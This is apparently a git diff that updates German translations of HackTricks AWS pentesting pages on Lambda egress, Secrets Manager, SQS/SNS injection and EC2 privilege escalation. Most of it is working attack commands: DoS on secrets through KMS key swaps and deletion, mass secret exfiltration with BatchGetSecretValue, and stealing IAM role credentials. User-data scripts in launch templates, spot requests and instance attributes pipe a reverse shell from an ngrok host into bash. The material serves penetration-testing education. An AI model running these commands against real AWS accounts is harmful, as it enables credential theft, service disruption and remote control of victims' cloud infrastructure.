 aws lambda invoke --function-name $TARGET_FN /tmp/net-out.json --region $REGION >/dev/null
 cat /tmp/net-out.json

-(Optional) Originale VPC-Konfiguration wiederherstellen
+(Optional) Ursprüngliche VPC-Konfiguration wiederherstellen

 if jq -e '.SubnetIds | length > 0' /tmp/orig-vpc.json >/dev/null; then
 SUBS=$(jq -r '.SubnetIds | join(",")' /tmp/orig-vpc.json); SGS=$(jq -r '.SecurityGroupIds | join(",")' /tmp/orig-vpc.json)
@@ -52,12 +54,13 @@ aws lambda update-function-configuration --function-name $TARGET_FN --vpc-config
 fi

 ### Auswirkungen
- Die Funktion erhält wieder uneingeschränkten ausgehenden Internetzugang, was Datenexfiltration oder C2-Verbindungen von Workloads ermöglicht, die absichtlich in privaten Subnets ohne NAT isoliert waren.
+- Stellt für die Funktion uneingeschränkten ausgehenden Internetzugang wieder her, wodurch Datenexfiltration oder C2 von Workloads möglich wird, die absichtlich in privaten Subnets ohne NAT isoliert waren.

-### Beispielausgabe (nach dem Entfernen von VpcConfig)
+### Beispielausgabe (nach Entfernen der VpcConfig)

 {"egress": true, "ip": "34.x.x.x"}

-### Aufräumen
- Falls temporäre Code-/Handler-Änderungen vorgenommen wurden, diese wiederherstellen.
- Optional die ursprüngliche `VpcConfig` aus /tmp/orig-vpc.json wie oben gezeigt wiederherstellen.
+### Bereinigung
+- Wenn du temporäre Änderungen am Code/Handler vorgenommen hast, stelle sie wieder her.
+- Optional die ursprüngliche VpcConfig wiederherstellen, die in /tmp/orig-vpc.json gespeichert wurde, wie oben gezeigt.
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-secrets-manager-post-exploitation/README.md
@@ -10,16 +10,16 @@ Für weitere Informationen siehe:
 ../../aws-services/aws-secrets-manager-enum.md
 {{#endref}}

-### Secrets auslesen
+### Read Secrets

-Die **Secrets selbst sind sensible Informationen**, [siehe die privesc-Seite](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md), um zu erfahren, wie man sie ausliest.
+Die **secrets selbst sind sensible Informationen**, [check the privesc page](../../aws-privilege-escalation/aws-secrets-manager-privesc/README.md), um zu lernen, wie man sie liest.

-### DoS: Secret-Wert ändern
+### DoS Change Secret Value

-Wenn du den Wert des Secret änderst, könntest du damit **ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.**
+Durch Ändern des secret-Werts könnten Sie **ein DoS für alle Systeme verursachen, die von diesem Wert abhängen.**

 > [!WARNING]
-> Beachte, dass vorherige Werte ebenfalls gespeichert werden, sodass es einfach ist, wieder zum vorherigen Wert zurückzukehren.
+> Beachten Sie, dass vorherige Werte ebenfalls gespeichert werden, sodass es einfach ist, zum vorherigen Wert zurückzukehren.
 ```bash
 # Requires permission secretsmanager:PutSecretValue
 aws secretsmanager put-secret-value \
@@ -28,19 +28,19 @@ aws secretsmanager put-secret-value \
 ```
 ### DoS Change KMS key

-Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret hat, kann er das secret so konfigurieren, dass es einen KMS key verwendet, der dem Angreifer gehört. Dieser key wird zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, sodass das Aktualisieren des secret mit dem neuen key möglich ist. Wenn der key nicht zugänglich wäre, könnte das secret nicht aktualisiert werden.
+Wenn der Angreifer die Berechtigung secretsmanager:UpdateSecret besitzt, kann er das secret so konfigurieren, dass es einen vom Angreifer kontrollierten KMS key verwendet. Dieser KMS key ist zunächst so eingerichtet, dass jeder darauf zugreifen und ihn verwenden kann, weshalb das Aktualisieren des secret mit dem neuen KMS key möglich ist. Wäre der KMS key nicht zugänglich gewesen, hätte das secret nicht aktualisiert werden können.

-Nachdem der key für das secret geändert wurde, passt der Angreifer die Konfiguration seines keys so an, dass nur noch er darauf zugreifen kann. Auf diese Weise werden in den nachfolgenden Versionen des secret diese mit dem neuen key verschlüsselt, und da kein Zugriff darauf besteht, geht die Möglichkeit verloren, das secret abzurufen.
+Nachdem der Angreifer den KMS key für das secret geändert hat, verändert er die Konfiguration seines KMS key so, dass nur noch er darauf zugreifen kann. Dadurch werden spätere Versionen des secret mit dem neuen KMS key verschlüsselt; da kein Zugriff mehr besteht, geht die Möglichkeit verloren, das secret abzurufen.

-Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur in späteren Versionen auftritt, nachdem sich der Inhalt des secret geändert hat, da die aktuelle Version weiterhin mit dem ursprünglichen KMS key verschlüsselt ist.
+Es ist wichtig zu beachten, dass diese Unzugänglichkeit nur bei späteren Versionen auftritt, nachdem sich der Inhalt des secret geändert hat, da die aktuelle Version noch mit dem ursprünglichen KMS key verschlüsselt ist.
 ```bash
 aws secretsmanager update-secret \
 --secret-id MyTestSecret \
 --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
 ```
-### DoS Secret löschen
+### DoS Deleting Secret

-Die minimale Anzahl an Tagen, um ein Secret zu löschen, beträgt 7.
+Die Mindestanzahl an Tagen, um ein secret zu löschen, beträgt 7
 ```bash
 aws secretsmanager delete-secret \
 --secret-id MyTestSecret \
@@ -48,29 +48,29 @@ aws secretsmanager delete-secret \
 ```
 ## secretsmanager:RestoreSecret

-Es ist möglich, ein Secret wiederherzustellen, wodurch Secrets wiederhergestellt werden können, die zur Löschung geplant wurden, da die minimale Löschfrist für Secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue ermöglicht dies, deren Inhalte abzurufen.
+Es ist möglich, ein Secret wiederherzustellen. Dadurch können Secrets wiederhergestellt werden, die zur Löschung vorgesehen wurden, da die minimale Löschfrist für Secrets 7 Tage und die maximale 30 Tage beträgt. Zusammen mit der Berechtigung secretsmanager:GetSecretValue lässt sich so deren Inhalt abrufen.

-Um ein Secret wiederherzustellen, das sich im Löschvorgang befindet, können Sie den folgenden Befehl verwenden:
+Um ein Secret, das sich im Löschvorgang befindet, wiederherzustellen, können Sie folgenden Befehl verwenden:
 ```bash
 aws secretsmanager restore-secret \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:DeleteResourcePolicy

-Diese Aktion erlaubt das Löschen der Ressourcenrichtlinie, die steuert, wer auf ein Secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die Ressourcenrichtlinie so konfiguriert war, dass sie Zugriff für eine bestimmte Benutzergruppe erlaubt.
+Diese Aktion erlaubt das Löschen der resource policy, die steuert, wer auf ein secret zugreifen kann. Dies könnte zu einem DoS führen, wenn die resource policy so konfiguriert war, dass sie Zugriff für eine bestimmte Gruppe von Benutzern erlaubt.

-Um die Ressourcenrichtlinie zu löschen:
+Um die resource policy zu löschen:
 ```bash
 aws secretsmanager delete-resource-policy \
 --secret-id <Secret_Name>
 ```
 ## secretsmanager:UpdateSecretVersionStage

-Die Zustände eines Secret werden verwendet, um Versionen eines Secret zu verwalten. AWSCURRENT kennzeichnet die aktive Version, die Anwendungen verwenden, AWSPREVIOUS behält die vorherige Version, damit Sie bei Bedarf zurückrollen können, und AWSPENDING wird im Rotationsprozess genutzt, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen Version gemacht wird.
+Die Zustände eines Secrets werden verwendet, um Versionen eines Secrets zu verwalten. AWSCURRENT markiert die aktive Version, die Anwendungen verwenden, AWSPREVIOUS behält die vorherige Version, sodass du bei Bedarf zurückrollen kannst, und AWSPENDING wird im Rotationsprozess verwendet, um eine neue Version vorzubereiten und zu validieren, bevor sie zur aktuellen gemacht wird.

-Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf eine falsche Version verschiebt, verwenden die Anwendungen ungültige Zugangsdaten und können fehlschlagen.
+Anwendungen lesen immer die Version mit AWSCURRENT. Wenn jemand dieses Label auf die falsche Version verschiebt, verwenden die Anwendungen ungültige Anmeldeinformationen und können fehlschlagen.

-AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin alles mit der vorherigen Version laufen.
+AWSPREVIOUS wird nicht automatisch verwendet. Wenn AWSCURRENT jedoch entfernt oder falsch neu zugewiesen wird, kann es so aussehen, als würde weiterhin die vorherige Version laufen.
 ```bash
 aws secretsmanager update-secret-version-stage \
 --secret-id <your-secret-name-or-arn> \
@@ -78,32 +78,26 @@ aws secretsmanager update-secret-version-stage \
 --move-to-version-id <target-version-id> \
 --remove-from-version-id <previous-version-id>
 ```
-{{#include ../../../../banners/hacktricks-training.md}}
+### Mass Secret Exfiltration via BatchGetSecretValue (up to 20 per call)

+Missbrauche die Secrets Manager BatchGetSecretValue API, um bis zu 20 Secrets in einer einzigen Anfrage abzurufen. Dadurch kann die Anzahl der API-Aufrufe im Vergleich zum wiederholten Aufrufen von GetSecretValue für jedes Secret erheblich reduziert werden. Wenn Filter verwendet werden (tags/name), wird außerdem die Berechtigung ListSecrets benötigt. CloudTrail protokolliert weiterhin für jedes im Batch abgerufene Secret ein GetSecretValue-Ereignis.

-
-
-
-### Massen-Secret-Exfiltration via BatchGetSecretValue (bis zu 20 pro Aufruf)
-
-Missbrauche die Secrets Manager BatchGetSecretValue API, um bis zu 20 secrets in einer einzigen Anfrage abzurufen. Das kann die Anzahl der API-Aufrufe im Vergleich zum iterativen Aufrufen von GetSecretValue pro secret deutlich reduzieren. Wenn Filter verwendet werden (tags/name), wird zudem die ListSecrets-Berechtigung benötigt. CloudTrail zeichnet trotzdem für jedes im Batch abgerufene secret ein GetSecretValue-Event auf.
-
-Erforderliche Berechtigungen
+Required permissions
 - secretsmanager:BatchGetSecretValue
- secretsmanager:GetSecretValue für jedes Ziel-secret
- secretsmanager:ListSecrets bei Verwendung von --filters
- kms:Decrypt auf den für die secrets verwendeten CMKs (wenn nicht aws/secretsmanager verwendet wird)
+- secretsmanager:GetSecretValue für jedes Ziel-Secret
+- secretsmanager:ListSecrets wenn --filters verwendet werden
+- kms:Decrypt auf den CMKs, die von den Secrets verwendet werden (wenn nicht aws/secretsmanager)

 > [!WARNING]
-> Beachte, dass die Berechtigung `secretsmanager:BatchGetSecretValue` allein nicht ausreicht, um secrets abzurufen — du benötigst außerdem `secretsmanager:GetSecretValue` für jedes secret, das du abrufen möchtest.
+> Beachte, dass die Berechtigung `secretsmanager:BatchGetSecretValue` allein nicht ausreicht, um Secrets abzurufen — du benötigst außerdem `secretsmanager:GetSecretValue` für jedes Secret, das du abrufen möchtest.

-Exfiltrieren über explizite Liste
+Exfiltrate by explicit list
 ```bash
 aws secretsmanager batch-get-secret-value \
 --secret-id-list <secret1> <secret2> <secret3> \
 --query 'SecretValues[].{Name:Name,Version:VersionId,Val:SecretString}'
 ```
-Exfiltrate mittels Filter (tag key/value oder name prefix)
+Exfiltrate mittels filters (tag key/value oder name prefix)
 ```bash
 # By tag key
 aws secretsmanager batch-get-secret-value \
@@ -120,11 +114,12 @@ aws secretsmanager batch-get-secret-value \
 aws secretsmanager batch-get-secret-value \
 --filters Key=name,Values=MyApp
 ```
-Umgang mit teilweisen Fehlern
+Umgang mit partiellen Ausfällen
 ```bash
 # Inspect the Errors list for AccessDenied/NotFound and retry/adjust filters
 aws secretsmanager batch-get-secret-value --secret-id-list <id1> <id2> <id3>
 ```
 Auswirkungen
- Rascher „smash-and-grab“ vieler secrets mit weniger API-Aufrufen, wodurch möglicherweise Alarmierungen, die auf Spitzen von GetSecretValue ausgelegt sind, umgangen werden.
- CloudTrail-Logs enthalten weiterhin ein GetSecretValue-Ereignis pro secret, das vom Batch abgerufen wurde.
+- Schnelles “smash-and-grab” vieler Secrets mit weniger API-Aufrufen, wodurch Alarmierungen, die auf Spitzen bei GetSecretValue ausgelegt sind, potenziell umgangen werden.
+- In den CloudTrail-Logs erscheint weiterhin pro vom Batch abgerufenes Secret ein GetSecretValue-Ereignis.
+{{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation/aws-sqs-sns-injection.md
@@ -4,12 +4,12 @@

 ## Beschreibung

-Missbrauche eine Resource Policy einer SQS-Queue, um einem vom Angreifer kontrollierten SNS-Topic zu erlauben, Nachrichten in eine Ziel-SQS-Queue des Opfers zu publishen. Im selben Account bestätigt sich eine SQS-Subscription auf ein SNS-Topic automatisch; bei Cross-Account musst du das SubscriptionConfirmation-Token aus der Queue lesen und ConfirmSubscription aufrufen. Dadurch wird unaufgeforderte Message-Injektion möglich, der nachgelagerte Consumer möglicherweise implizit vertrauen.
+Missbrauch einer SQS-Queue-Resource-Policy, um einem vom Angreifer kontrollierten SNS-Topic zu erlauben, Nachrichten in eine Opfer-SQS-Queue zu veröffentlichen. Im selben Account bestätigt sich eine SQS-Subscription zu einem SNS-Topic automatisch; bei kontoübergreifenden Szenarien müssen Sie das SubscriptionConfirmation-Token aus der Queue lesen und ConfirmSubscription aufrufen. Dadurch wird eine unaufgeforderte Nachrichteninjektion ermöglicht, der nachgelagerte Konsumenten möglicherweise implizit vertrauen.

 ### Anforderungen
- Fähigkeit, die Resource Policy der Ziel-SQS-Queue zu modifizieren: `sqs:SetQueueAttributes` auf der Opfer-Queue.
- Fähigkeit, ein SNS-Topic unter Angreifer-Kontrolle zu erstellen/zu veröffentlichen: `sns:CreateTopic`, `sns:Publish`, und `sns:Subscribe` im Angreifer-Account/Topic.
- Nur Cross-Account: temporäres `sqs:ReceiveMessage` auf der Opfer-Queue, um das Bestätigungs-Token zu lesen und `sns:ConfirmSubscription` aufzurufen.
+- Möglichkeit, die Resource-Policy der Ziel-SQS-Queue zu ändern: `sqs:SetQueueAttributes` on the victim queue.
+- Möglichkeit, ein unter Angreiferkontrolle stehendes SNS-Topic zu erstellen/veröffentlichen: `sns:CreateTopic`, `sns:Publish`, and `sns:Subscribe` on the attacker account/topic.
+- Nur kontoübergreifend: temporäre `sqs:ReceiveMessage` auf der Opfer-Queue, um das Bestätigungstoken zu lesen und `sns:ConfirmSubscription` aufzurufen.

 ### Ausnutzung im selben Account
 ```bash
@@ -45,10 +45,10 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message {pwn:sns->sqs} --region $REGI
 aws sqs receive-message --queue-url "$Q_URL" --region $REGION --max-number-of-messages 1 --wait-time-seconds 10 --attribute-names All --message-attribute-names All
 ```
 ### Cross-Account-Hinweise
- Die obenstehende Queue-Policy muss das fremde `TOPIC_ARN` (attacker account) zulassen.
- Subscriptions bestätigen sich nicht automatisch. Gewähre dir vorübergehend `sqs:ReceiveMessage` auf der victim queue, um die `SubscriptionConfirmation`-Nachricht zu lesen, und rufe dann `sns confirm-subscription` mit ihrem `Token` auf.
+- Die obenstehende Queue-Policy muss das fremde `TOPIC_ARN` (Angreifer-Konto) erlauben.
+- Subscriptions werden nicht automatisch bestätigt. Gewähre dir temporär `sqs:ReceiveMessage` auf der Opfer-Queue, um die `SubscriptionConfirmation` Nachricht zu lesen und rufe dann `sns confirm-subscription` mit dem `Token` auf.

 ### Auswirkungen
-**Potenzielle Auswirkungen**: Kontinuierliche unaufgeforderte Nachrichteninjektion in eine vertrauenswürdige SQS queue über SNS, die möglicherweise unbeabsichtigte Verarbeitung, Datenverschmutzung oder Missbrauch von Workflows auslöst.
+**Mögliche Auswirkungen**: Kontinuierliche unerwünschte Nachrichteninjektion in eine vertrauenswürdige SQS-Queue über SNS, was unbeabsichtigte Verarbeitung, Datenverschmutzung oder Missbrauch von Workflows auslösen kann.

 {{#include ../../../../banners/hacktricks-training.md}}
--- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
+++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc/README.md
@@ -4,7 +4,7 @@

 ## EC2

-Für mehr **Info über EC2** siehe:
+Für mehr **Informationen über EC2** siehe:

 {{#ref}}
 ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,11 +12,11 @@ Für mehr **Info über EC2** siehe:

 ### `iam:PassRole`, `ec2:RunInstances`

-Ein Angreifer könnte **eine Instanz erstellen, eine IAM role anhängen und dann auf die Instanz zugreifen** um die IAM role credentials vom metadata endpoint zu stehlen.
+Ein attacker könnte eine instance erstellen, dieser eine IAM role anhängen und dann auf die instance zugreifen, um die IAM role credentials vom metadata endpoint zu stehlen.

- **Zugriff über SSH**
+- **Zugriff via SSH**

-Starte eine neue Instanz unter Verwendung eines **erstellten** **ssh key** (`--key-name`) und verbinde dich dann per ssh darauf (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
+Starte eine neue instance unter Verwendung eines **created** **ssh key** (`--key-name`) und verbinde dich dann per ssh damit (wenn du einen neuen erstellen willst, benötigst du möglicherweise die Berechtigung `ec2:CreateKeyPair`).
 ```bash
 aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --iam-instance-profile Name=<instance-profile-name> --key-name <ssh-key> \
@@ -24,7 +24,7 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 ```
 - **Zugriff über rev shell in user data**

-Du kannst eine neue instance mit **user data** (`--user-data`) starten, die dir eine **rev shell** schickt. Du musst auf diese Weise keine security group angeben.
+Du kannst eine neue Instance mittels **user data** (`--user-data`) starten, die dir eine **rev shell** sendet. Auf diese Weise musst du keine security group angeben.
 ```bash
 echo '#!/bin/bash
 curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh
@@ -34,17 +34,17 @@ aws ec2 run-instances --image-id <img-id> --instance-type t2.micro \
 --count 1 \
 --user-data "file:///tmp/rev.sh"
 ```
-Sei vorsichtig mit GuradDuty, wenn du die credentials der IAM role außerhalb der instance verwendest:
+Sei vorsichtig mit GuardDuty, wenn du die credentials der IAM role außerhalb der instance verwendest:

 {{#ref}}
 ../../aws-services/aws-security-and-detection-services/aws-guardduty-enum.md
 {{#endref}}

-**Potential Impact:** Direkter privesc zu jeder EC2 role, die an bestehende instance profiles angehängt ist.
+**Potenzielle Auswirkung:** Direct privesc to any EC2 role attached to existing instance profiles.

-#### Privesc zu ECS
+#### Privesc to ECS

-Mit diesem Berechtigungsset könntest du außerdem **eine EC2 instance erstellen und sie in einem ECS cluster registrieren**. Auf diese Weise werden ECS **services** innerhalb der **EC2 instance**, auf die du Zugriff hast, **ausgeführt**, und du kannst diese services (docker containers) kompromittieren und **steal their ECS roles attached**.
+Mit diesem Berechtigungssatz könntest du außerdem **create an EC2 instance and register it inside an ECS cluster**. Auf diese Weise werden ECS **services** in der **EC2 instance**, auf die du Zugriff hast, **run**, und du kannst diese services (docker containers) kompromittieren und **steal their ECS roles attached**.
 ```bash
 aws ec2 run-instances \
 --image-id ami-07fde2ae86109a2af \
@@ -59,20 +59,20 @@ aws ec2 run-instances \
 #!/bin/bash
 echo ECS_CLUSTER=<cluster-name> >> /etc/ecs/ecs.config;echo ECS_BACKEND_HOST= >> /etc/ecs/ecs.config;
 ```
-Um zu erfahren, wie man **ECS services dazu zwingt, auf dieser neuen EC2-Instanz ausgeführt zu werden**, siehe:
+Um zu lernen, wie man **erzwingen kann, dass ECS-Dienste in dieser neuen EC2-Instanz ausgeführt werden**, siehe:

 {{#ref}}
 ../aws-ecs-privesc/README.md
 {{#endref}}

-Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, können Sie möglicherweise die Instanz im Cluster registrieren und den beschriebenen Angriff durchführen.
+Wenn Sie **keine neue Instanz erstellen können**, aber die Berechtigung `ecs:RegisterContainerInstance` haben, könnten Sie die Instanz im Cluster registrieren und den beschriebenen Angriff durchführen.

-**Mögliche Auswirkung:** Direkte privesc zu ECS-Rollen, die Tasks zugewiesen sind.
+**Potentielle Auswirkungen:** Direkter privesc auf ECS-Rollen, die an Tasks angehängt sind.

 ### **`iam:PassRole`,** **`iam:AddRoleToInstanceProfile`**

-Ähnlich zum vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen die **IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen zu stehlen.\
-Da ein Instance Profile nur 1 Rolle haben kann, wenn das Instance Profile **bereits eine Rolle hat** (häufiger Fall), benötigen Sie außerdem **`iam:RemoveRoleFromInstanceProfile`**.
+Ähnlich wie im vorherigen Szenario könnte ein Angreifer mit diesen Berechtigungen **die IAM-Rolle einer kompromittierten Instanz ändern**, um neue Anmeldeinformationen stehlen zu können.\
+Da ein Instance Profile nur eine Rolle haben kann, wenn das Instance Profile **bereits eine Rolle** hat (häufiger Fall), benötigen Sie außerdem **`iam:RemoveRoleFromInstanceProfile`**.
 ```bash
 # Removing role from instance profile
 aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-name <name>
@@ -80,34 +80,34 @@ aws iam remove-role-from-instance-profile --instance-profile-name <name> --role-
 # Add role to instance profile
 aws iam add-role-to-instance-profile --instance-profile-name <name> --role-name <name>
 ```
-Wenn das **instance profile eine role hat** und der Angreifer es **nicht entfernen kann**, gibt es einen anderen Workaround. Er könnte ein **instance profile ohne role finden** oder ein **neues erstellen** (`iam:CreateInstanceProfile`), die **role** zu diesem **instance profile hinzufügen** (wie zuvor besprochen) und das **instance profile mit der kompromittierten instance assoziieren:** 
+Wenn das **instance profile eine role hat** und der Angreifer es **nicht entfernen kann**, gibt es eine andere Umgehung. Er könnte **ein instance profile ohne role finden** oder **einen neuen erstellen** (`iam:CreateInstanceProfile`), die **role** zu diesem **instance profile hinzufügen** (wie zuvor besprochen), und **das instance profile zuordnen** kompromittiert zu einer kompromittierten i**nstance:**

- Falls die **instance kein instance profile** hat (`ec2:AssociateIamInstanceProfile`)
+- Wenn die i**nstance** **kein instance** profile hat (`ec2:AssociateIamInstanceProfile`)
 ```bash
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
-**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2-Instanz kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile-Status besitzen).
+**Mögliche Auswirkung:** Direktes privesc zu einer anderen EC2-Rolle (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile-Status besitzen).

 ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`)

-Mit diesen Berechtigungen ist es möglich, das einer Instanz zugeordnete instance profile zu ändern, sodass ein Angreifer, der bereits Zugriff auf eine Instanz hat, Anmeldeinformationen für weitere instance profile-Rollen stehlen kann, indem er das zugeordnete instance profile austauscht.
+Mit diesen Berechtigungen ist es möglich, das mit einer Instance verknüpfte instance profile zu ändern. Wenn ein Angreifer bereits Zugriff auf eine Instance hat, kann er dadurch Anmeldeinformationen für weitere instance profile-Rollen stehlen, indem er das damit verknüpfte instance profile austauscht.

- Wenn sie **ein instance profile hat**, kannst du das instance profile **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **erneut zuweisen**.
+- Wenn es **ein instance profile hat**, kannst du das instance profile **entfernen** (`ec2:DisassociateIamInstanceProfile`) und es **assoziieren**
 ```bash
 aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da
 aws ec2 disassociate-iam-instance-profile --association-id <value>
 aws ec2 associate-iam-instance-profile --iam-instance-profile Name=<value> --instance-id <value>
 ```
- oder **ersetzen** das **instance profile** der compromised instance (`ec2:ReplaceIamInstanceProfileAssociation`).
+- oder **ersetzen** das **instance profile** der kompromittierten Instance (`ec2:ReplaceIamInstanceProfileAssociation`).
 ```bash
 aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name=<value> --association-id <value>
 ```
-**Potentielle Auswirkung:** Direkter privesc auf eine andere EC2 role (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile status besitzen).
+**Mögliche Auswirkungen:** Direktes privesc zu einer anderen EC2 role (du musst eine AWS EC2 instance kompromittiert haben und zusätzliche Berechtigungen oder einen bestimmten instance profile status besitzen).

 ### `ec2:RequestSpotInstances`,`iam:PassRole`

-Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances` und `iam:PassRole`** kann eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** im **user data** anfordern.\
-Sobald die Instance gestartet ist, kann er die **IAM role** stehlen.
+Ein Angreifer mit den Berechtigungen **`ec2:RequestSpotInstances`and`iam:PassRole`** kann **request** eine **Spot Instance** mit einer **EC2 Role attached** und einer **rev shell** in den **user data** anfordern.\
+Sobald die Instance ausgeführt wird, kann er die **IAM role stehlen**.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -119,9 +119,9 @@ aws ec2 request-spot-instances \
 ```
 ### `ec2:ModifyInstanceAttribute`

-Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute einer Instanz ändern. Unter anderem kann er die **user data ändern**, was bedeutet, dass er die Instanz dazu bringen kann, **beliebige Daten auszuführen.** Das kann genutzt werden, um eine **rev shell auf die EC2-Instanz** zu erhalten.
+Ein Angreifer mit der **`ec2:ModifyInstanceAttribute`** kann die Attribute der Instanz ändern. Unter anderem kann er **change the user data**, wodurch er die Instanz dazu bringen kann, **run arbitrary data.** Das kann genutzt werden, um eine **rev shell to the EC2 instance** zu erhalten.

-Beachte, dass die Attribute nur **modifiziert werden können, während die Instanz gestoppt ist**, daher werden die **Berechtigungen** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
+Beachte, dass die Attribute nur geändert werden können, während die Instanz gestoppt ist; dafür werden die **permissions** **`ec2:StopInstances`** und **`ec2:StartInstances`** benötigt.
 ```bash
 TEXT='Content-Type: multipart/mixed; boundary="//"
 MIME-Version: 1.0
@@ -158,11 +158,11 @@ aws ec2 modify-instance-attribute \

 aws ec2 start-instances --instance-ids $INSTANCE_ID
 ```
-**Mögliche Auswirkung:** Direkter privesc auf jede EC2 IAM Role, die an eine erstellte Instanz angehängt ist.
+**Potentielle Auswirkung:** Direkter privesc auf jede EC2 IAM Role, die an eine erstellte Instanz angehängt ist.

 ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate`

-Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen mit einer **rev shell in** den **user data** und **any EC2 IAM Role on it**, die Standardversion ändern, und **any Autoscaler group** **using** that **Launch Templat**e, die **configured** ist, die **latest** oder die **default version** zu verwenden, wird die Instanzen unter Verwendung dieses Templates **re-run the instances** und die rev shell ausführen.
+Ein Angreifer mit den Berechtigungen **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`and `ec2:ModifyLaunchTemplate`** kann eine **new Launch Template version** erstellen, die eine **rev shell in** den **user data** und **any EC2 IAM Role on it** enthält, die Standardversion ändern, woraufhin jede **Autoscaler group**, die dieses **Launch Template** verwendet und so konfiguriert ist, die **latest** oder die **default version** zu verwenden, die Instanzen mit diesem Template neu startet und die rev shell ausführt.
 ```bash
 REV=$(printf '#!/bin/bash
 curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash
@@ -176,11 +176,11 @@ aws ec2 modify-launch-template \
 --launch-template-name bad_template \
 --default-version 2
 ```
-**Mögliche Auswirkung:** Direkter privesc zu einer anderen EC2 role.
+**Potentielle Auswirkung:** Direkter privesc auf eine andere EC2-Rolle.

 ### (`autoscaling:CreateLaunchConfiguration` | `ec2:CreateLaunchTemplate`),  `iam:PassRole`, (`autoscaling:CreateAutoScalingGroup` | `autoscaling:UpdateAutoScalingGroup`)

-Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration erstellen** mit einer **IAM Role** und einer **rev shell** in den **user data**, dann **eine autoscaling group** aus dieser Konfiguration erstellen und auf die **rev shell** warten, damit sie die **IAM Role** stiehlt.
+Ein Angreifer mit den Berechtigungen **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** kann **eine Launch Configuration erstellen** mit einer **IAM Role** und einer **rev shell** im **user data**, dann **eine autoscaling group aus dieser Konfiguration erstellen** und warten, bis die **rev shell** die **IAM Role** **stiehlt**.
 ```bash
 aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \
 --launch-configuration-name bad_config \
@@ -196,28 +196,28 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \
 --desired-capacity 1 \
 --vpc-zone-identifier "subnet-e282f9b8"
 ```
-**Potential Impact:** Direkter privesc zu einer anderen EC2-Rolle.
+**Potentielle Auswirkung:** Direkte privesc zu einer anderen EC2-Rolle.

 ### `!autoscaling`

-Die Kombination der Berechtigungen **`ec2:CreateLaunchTemplate`** und **`autoscaling:CreateAutoScalingGroup`** **reicht nicht aus, um** Privilegien auf eine IAM-Rolle zu eskalieren, denn um die in der Launch Configuration oder im Launch Template angegebene Rolle anzuhängen, **benötigt man die Berechtigungen `iam:PassRole` und `ec2:RunInstances`** (was ein bekannter privesc ist).
